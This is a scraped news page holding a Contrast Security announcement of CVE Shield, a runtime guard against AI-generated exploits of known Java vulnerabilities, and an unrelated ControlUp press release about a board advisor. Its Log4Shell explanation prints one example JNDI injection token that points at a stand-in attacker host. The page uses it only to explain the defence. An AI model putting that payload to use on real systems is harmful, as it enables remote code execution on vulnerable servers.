Contrast Security has launched CVE Shield to protect applications from AI-generated exploits targeting known vulnerabilities. The tool operates inside running applications, detecting and blocking malicious function calls whilst allowing legitimate operations to continue. CVE Shield uses runtime microsandboxing to provide immediate protection while security teams deploy permanent fixes. It blocks exploit capabilities rather than relying on payload signatures, meaning new variations hit the same protected boundary without requiring updates. The launch responds to advances in AI systems like Claude Mythos, which can autonomously create working exploits from public CVE identifiers within a day. Contrast's founder Jeff Williams noted traditional patch cycles cannot keep pace with AI-generated threats. Initially covering 60 critical Java vulnerabilities including Log4Shell, CVE Shield will be available from 3 August 2026 with a free tier. Support for additional languages is planned for later in 2026.

Contrast Security CVE Shield blocks ai-driven vulnerability exploits. Contrast Security has introduced CVE Shield, a solution designed to combat the rise of AI-generated exploits enabled by advanced AI models such as Claude Mythos. Operating within live applications, CVE Shield identifies, tracks, and blocks attempts to exploit known vulnerabilities while allowing legitimate library functions to continue running. The solution provides security teams with actionable insights into existing vulnerabilities, active threats, attack attempts, and protected assets. Security Products & Services Using a runtime microsandbox for each supported CVE, CVE Shield is a compensating control that gives organizations immediate protection while they test and deploy the permanent fix. In April 2026, Anthropic reported that its Claude Mythos Preview research system could take a public CVE identifier and the corresponding Git commit and autonomously produce a working exploit inexpensively within a day. Within five weeks, OpenAI and Microsoft disclosed comparable vulnerability research systems. "Organizations are standing up Mythos Task Forces because traditional patch cycles cannot keep pace with AI-generated exploits," said Jeff Williams, Founder of Contrast Security and creator of the OWASP Top 10. "We created CVE Shield to give them immediate protection and buy security teams time between CVE disclosure and patch deployment. Legacy applications, vendor dependencies and frozen release windows no longer have to mean open exposure." Built for AI-speed exploitation. Traditional CVE management identifies the 5% of CVEs that actually matter in production and creates a remediation ticket. Teams still have to determine whether the vulnerable code is actually running, reachable, exploitable, and connected to a sensitive asset - and then protect the application while they test and deploy an update. Machine Learning & Artificial Intelligence CVE Shield adds runtime protection while teams patch. Instead of trying to recognize every malicious payload, it blocks the capabilities an exploit must use to succeed, such as native code execution, remote class loading, and arbitrary file writes. Because CVE Shield controls behavior rather than relying on payload signatures, new variations of a supported exploit hit the same protected boundary. No new signature is required. Even when an attacker reaches vulnerable code with a working exploit, CVE Shield can stop the exploit from completing its intended action. "Developers and security teams have long struggled to prioritize CVEs because traditional tools focus on vulnerable versions rather than real execution. Capabilities that connect CVE identification with runtime reachability and active protection represent an important step toward more operationally relevant application security." -Katie Norton, IDC Analyst The Log4Shell example. Let's use Log4Shell as an example, because it is the most widely known CVE. Log4Shell, tracked as CVE-2021-44228, is exploited by an attacker slipping a token like ${jndi:ldap://attacker.example/x} into request data that gets logged by an application or API, which triggers an outbound lookup that loads and runs attacker-controlled code. CVE Shield wraps the vulnerable Log4j methods, so normal logging continues while the capabilities the exploit needs, the outbound JNDI lookup, remote class loading and process execution, are denied. The lookup never reaches the attacker's server and the malicious class never loads. The vulnerable component keeps working. The exploit does not. Engineered for production. CVE Shield is installed on your workloads with a single command and immediately begins identifying and protecting against CVE exploit attempts. It requires no additional appliance, proxy or sidecar. CVE Shield is designed for maximum performance. There is no impact unless a CVE is exploited, and exploit prevention adds only 12 nanoseconds, making CVE Shield's performance impact almost immeasurable. It can be easily installed on a single host or across a large, diverse infrastructure. Once the application starts, CVE Shield inventories its libraries and activates shields for vulnerable versions that match. The Contrast Agent Operator automates deployment across Kubernetes and OpenShift workloads without per-service code or Dockerfile changes. CVE Shield also replaces vulnerability assumptions with runtime evidence. It shows security teams which vulnerable libraries are present, which vulnerable code paths are being exercised and when exploitation is attempted. Security Products & Services Teams can focus remediation efforts on real application risk rather than treating every entry in the backlog as equally urgent. Contrast provides dynamic risk scores for CVEs based on architectural, threat, and business context from production environments. Availability CVE Shield is part of Contrast Application Detection and Response. Its initial rollout brings localized CVE sandboxing to 60 critical Java vulnerabilities, including Log4Shell, Spring4Shell and Apache Commons Collections deserialization vulnerabilities. Contrast will expand coverage to additional high- and critical-severity CVEs, with new protections delivered continuously as vulnerabilities emerge. Support for Go, Node.js, .NET and Python is planned for the second half of 2026. CVE Shield will be available on August 3, 2026, with a free tier, enabling AppSec teams to deploy to Java applications within minutes and gain immediate runtime visibility into active, supported CVEs.

ControlUp appoints marketing and AI visionary Tim Freestone as Board Advisor. GlobeNewswire | ControlUp Today at 6:02am PDT SAN FRANCISCO, April 29, 2026 (GLOBE NEWSWIRE) - ControlUp, the pioneer of Autonomous Endpoint Management (AEM) which leverages agentic AI to allow digital workspaces to run themselves, today announced the appointment of technology marketing visionary Tim Freestone as an Advisor to the Board. Freestone brings more than 20 years of experience in corporate strategy and marketing leadership, with deep expertise in scaling high-growth technology organizations and driving go-to-market (GTM) excellence. The appointment follows ControlUp's recent milestone of surpassing $100 million in annual recurring revenue (ARR). This growth marks the company's strategic evolution from a category leader in Digital Employee Experience (DEX) to a pioneer in AEM, leveraging agentic AI to redefine modern workspace management through fewer tools, fewer trouble tickets, and less human troubleshooting. "I have had the pleasure of working with Tim over the past two decades. He is a bold and brilliant mind. His real-world experience building and optimizing global marketing and strategy functions through the use of AI at leading enterprise technology companies makes him an invaluable addition to our advisory bench," said Jed Ayres, CEO of ControlUp. "As we lead the shift from DEX to AEM, Tim's perspective will help sharpen our GTM strategy, strengthen our positioning, and accelerate our next phase of growth." "ControlUp is at a pivotal moment as it leads the IT shift from reactive to autonomous management," said Freestone. "I am excited to work with Jed and the leadership team to help scale the impact of AEM and solidify ControlUp's position as the definitive market leader in this new groundbreaking category." Freestone currently serves as Chief Strategy Officer at Kiteworks, where he leads corporate strategy initiatives following his tenure as Chief Marketing Officer since joining the company in 2021. Across his career, he has built and scaled marketing organizations, modernized go-to-market execution, and elevated brand positioning for enterprise technology companies. Freestone is a frequent presenter at AI and Security industry conferences, where he is recognized for his innovative approach to how sales, marketing, and product teams can leverage AI to optimize the GTM strategy for SaaS solutions. Prior to Kiteworks, Freestone was Vice President of Marketing at Contrast Security, where he built out the company's global marketing organization and helped elevate its brand into a recognized leader in application security. Earlier, as Vice President of Corporate Marketing at Fortinet, he led a comprehensive rebranding effort and developed go-to-market operations for multiple solution portfolios encompassing more than 30 products. He also held leadership roles at NetApp, where he drove demand strategy and operational optimization across the Americas, and co-founded a marketing services agency delivering programs for technology companies of all sizes. About ControlUp ControlUp is defining the next chapter in modern workspace management with Autonomous Endpoint Management (AEM). By unifying Digital Employee Experience (DEX) and IT operations with agentic AI, ControlUp moves organizations beyond the limitations of reactive troubleshooting toward a self-healing environment that operates more autonomously at scale. The platform integrates real-time signals with AI-driven decisioning and automated remediation to resolve issues before they impact employees, reduce operational complexity, and consolidate fragmented toolsets. Organizations advance to a state where IT works smarter, employees stay productive, and the digital workspace runs itself. Learn more at www.controlup.com. This is a paid placement. For further inquiries, please contact GlobeNewswire directly.